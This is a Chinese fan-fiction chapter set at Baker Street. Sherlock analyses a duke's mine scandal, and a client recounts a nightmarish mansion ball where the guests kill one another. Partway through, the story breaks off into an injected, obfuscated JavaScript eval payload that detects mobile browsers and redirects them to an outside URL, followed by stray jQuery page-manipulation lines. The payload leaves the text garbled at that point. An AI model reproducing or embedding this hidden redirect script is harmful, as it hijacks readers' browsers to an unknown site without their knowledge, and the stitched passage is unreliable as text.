今日的贝克街221B显得格外风平浪静。
约翰拿着报纸坐在单人沙发里,目光随着纸上的新闻消息,时而快速掠过,时而细细凝视。
歇洛克躺在一旁的长沙发上闭目养神,不知道在想些什么。
几分钟后。
约翰放下报纸,即将开口的刹那,歇洛克也闭着眼睛开始开口说话。
“天呐!歇洛克你知道吗——”
“福诺克公爵今日深陷矿山坍塌赔偿事件之中,保险公司经调查后,发现矿洞坍塌有人为毁坏的痕迹,怀疑是福诺克公爵故意骗保,导致十三人死亡,四十一人受伤。”
“但福诺克公爵公开否认,他表示自己一生卫国,绝不可能做出如此伤害民众的事情,相对他以及他的律师团队将矛头指向一直与福诺克政见不合的亨伯侯爵,提出是亨伯侯爵前些时间派人来到矿山动了手脚,福诺克公爵的律师甚至表示已有确凿证据,表明那些小混混就是受到了亨伯侯爵的雇佣和指使。”
“而今天的报纸可就有意思了。”
语速飞快的歇洛克睁开眼。
“今日亨伯侯爵同样在报纸上公开表示,那些小混混是福诺克公爵的自导自演,他那里也有确凿证据。”
“哦——天呐……我甚至以为你有读心术!”
“不过是因为我比你更早一步看了报纸而已。”
“有用的信息就在大脑里归类存档,没用的信息尽早将它们扫地出门,不要过多占用自己的精力,只不过常人往往忽视这一点,或是将两者混淆弄错。”
歇洛克说道。
约翰合上报纸,好奇问道:
“那么歇洛克,你认为这件事到底哪一方才是正确的?”
“福诺克?亨伯?”
“显然是福诺克公爵。”
“为什么你如此笃定?”
“那些小混混的口供说自己是在摄政街拿走报酬的,华生,回想一下伦敦的街道地图,你应当记得摄政街充当着分隔富人区云集的圣詹姆斯街,与女王即位前就建成的老街苏活区的分界线。”
“虽然表面上来看这些被逮捕的小混混们被双方雇佣的概率是一半一半,但实际上结合最新的情报思索一番,你就能很清楚地发现,他们极有可能是被亨伯侯爵雇佣的。”
“因为在一个月前,矿山坍塌事件还未发生之际,那三个小混混就因入室抢劫未遂被逮捕过,当时保释他们出来的人平平无奇,自称是三人的叔叔,平日里对他们管教不利,实际上进一步调查,你会发现那位保释人是亨伯侯爵贴身男仆名下一位牧场的管理者。”
“他的牧场里养着牛和羊,但放牧的伙计比狗还凶,比狼还狠。”
“只要亨伯侯爵一声令下,这些伙计在眨眼间就能变成打手,随时以好似不相干的第三方出面下狠手。”
“竟然还有这样的内情!”
约翰不由惊讶。
“不过报纸上都不知道的消息,歇洛克你又是如何知道的?”
“我曾经将那些严重伤人案件里的行凶者身份做出调查归档,自然就发现了那间牧场,随后根据那牧场的访客记录,发现了它真正的主人。”
歇洛克说道,语气似乎并不觉得这是什么大不了的事情。
约翰这下连报纸也不想继续看下去,刚想再追问一些歇洛克以往接手过的案件细节时,起居室的门被敲响。
哈德森太太隔着门说道:
“两位先生,有客人到访。”
“歇洛克,看样子是有案子了!”
经过这些天与这位舍友的相处,约翰算是明白,能称之为歇洛克朋友的人可能……说屈指可数都有些过头,没有倒是真的,偶尔有类似雷斯垂德这样的到访,也只能算是委托人而已。
那么这个时候,这么正式上门的,除了委托人,他想不出第二种。
“华生,我只希望这次的案件不要无聊到让我觉得是在浪费时间。”
歇洛克从长椅上一跃而起,然后拉开起居室的大门。
“请进,这位刚从柯芬园艺场经过的先生。”
门外看起来只有二十多岁的青年一愣,下意识的问道:
“什么?您怎么知道我刚从柯芬园艺场来?”
“你身上沾着新鲜的泥土和草屑花瓣,但鞋底的泥非常少,显然不是去了公园的草地,只是经过拥挤花卉市场之类的地方。”
“而你手中提的购物袋上,印有的标志是皮克底里圆环附近的商店,距离那里最近的自然就是柯芬园艺场。”
侦探看了眼他手里的购物袋和里面冒出一角的纸张。
“顺带,你在问有关福诺克公爵的事情?不是矿山……庄园?福诺克公爵名下的庄园……金玫瑰庄园?”
青年的身体顿时僵住。
“为什么你会……”
“那张纸。”
“上面记录了很多庄园的持有人姓名,你又单独把矿山那件事抽出来,压在这页后面。”
“你细细看过了那些庄园名称,着重在G开头名字的庄园那里查阅过,还用指甲按了印记。”
歇洛克说道:
“结合这些信息,还不明显吗?”
“你在找金玫瑰庄园。”
“这……真是令人难以置信……”
青年被震惊到几乎连说话都变得磕磕绊绊起来。
约翰拍拍他的肩膀,把他从那种不可置信的恍惚中惊醒。
“先进来坐吧。”
“哈德森太太,麻烦你泡壶茶。”
三人在起居室落座,互相介绍后,青年有些局促地开口。
他的名字是艾伦·威廉斯,原本在柯芬园艺场那里买了份报纸,但被风吹跑后,他急忙弯腰跟着跑了几步去捡,一位肩膀上趴着灰鼠的报童帮他按住,递还给他,但没想到再抬头时,竟然已经站在了这条街上。
他迷茫地询问街上的行人,没想到竟被告知这里是贝克街。
主知道园艺场和这里距离有多远,他怎么也想不通自己是如何在几步间就来到这里的。
结果他想离开时,却发现怎么也走不出这里的白雾,仿佛他被困在这条街道上,循环往复地做着徒劳的无用功。
这时,一位老妇人偶遇了他,说他如果有实在烦恼的事情,或许可以向这里大名鼎鼎的咨询侦探求助,于是他就跟着她来到了这里。
这时哈德森太太端着茶壶和茶杯上楼。
她对着他们笑笑,然后离开。
歇洛克拿着烟斗说道:
“那么,威廉斯先生你真是好运,要知道这样贸然拜访这里的普通人可能只剩半截身子。”
威廉愣住,“这……”
约翰咳嗽一声。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803801|157846||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“不要把我们这里说得像是凶杀案现场一样。”
歇洛克抽着烟问道:“那么你的委托是?”
威廉犹豫了一下,“我想……请您调查一下金玫瑰庄园,帮我寻找一个人,他的名字是……不,我不知道他的名字,但他和我差不多的年纪,甚至还要小点,他有着一头纯正的金发,蓝色的眼睛,性格很开朗外向,应当是上流社会的贵族子弟。”
拿着纸笔记录的约翰有些好奇。
“找人?您找他是有什么事吗?”
“说来你们可能不信。”
听到这话的约翰心想,自打他和歇洛克经历过前几次的事件后,再离谱的事情,他也不可能完全持否定态度了,况且他的笔记本还没找回来,不知道在雷斯垂德那里没有消息的前提下,要不要委托歇洛克进行调查。
威廉看看他们两人表情,似乎发现没有人露出不信或是不耐烦的神色时,才继续说道:
“前几天晚上,我发现自己出现在一间富丽堂皇的庄园里。”
“那里很是豪华漂亮,但装修风格不知为何是三三十年前的模样。”
“我几乎以为那是一个梦!”
“那时看天色,似乎已经临近傍晚,庄园里应当在做举行舞会的准备。”
“我是个最下等的杂役男仆,被指挥着干这干那,最后需要去倒泔水……那味道让我怀疑简直比现实还要逼真,就是在我浑浑噩噩出门的时候,遇到了一名马夫,也就是刚才我说要找的那个人。”
“他问我为什么会在金玫瑰庄园。”
“我说,我不知道。”
“但梦里的我,依稀记得自己似乎并不应当出现在这里。”
“然后那位马夫小伙子就和我说,我似乎还有什么机会,让我跟着他躲在外面千万不要进屋里,不管那些上流贵族和其他仆人许诺多少好处,都不要进去。”
这些情节听起来就像一场怪梦。
但威廉的表情看来像是全部亲身经历过一样,加上话里的情绪起伏,让约翰听得越发认真。
“接下来,与我一起在厨房干活的仆人们,果然都很想找机会进入舞厅为那些大人物服务,这样也许就能找到飞上枝头的可能。”
“有一些大人物也会来挑选一些仆人来专门为自己服务,但我觉得……总之我觉得他们的目光都很奇怪,比起说是看中了外貌,两位你们知道的,这样的癖好在那些人之间真是……”
“哦那的确是。”歇洛克叼着烟斗说道:“不过我想这不是重点。”
威廉深吸一口气。
“是的,您说的对,这其实不是重点。”
“重点是,我还记得年轻的马夫小伙子对我说的话,于是在舞会钟声响起之前的几分钟,我就离开了厨房,避开人群往庄园墙角那里走去。”
说着,他的脸色变得苍白起来,像是有莫大的恐惧攥紧了他的心脏。
“我见证了……一场狂欢的杀戮。”
“钟声敲响七下的时候,庄园里几乎每个人都在互相厮杀,甚至要生吞活剥了对方。”
“要是拿着刀剑,就要将除了自己以外的人都砍成烂泥;若是徒手抓住别人,就要将那人全部嚼碎吃下。”
“那简直是地狱一样的场景!如果我还在人最多的舞厅,我简直不敢想象那里会是什么样的惨剧现场!”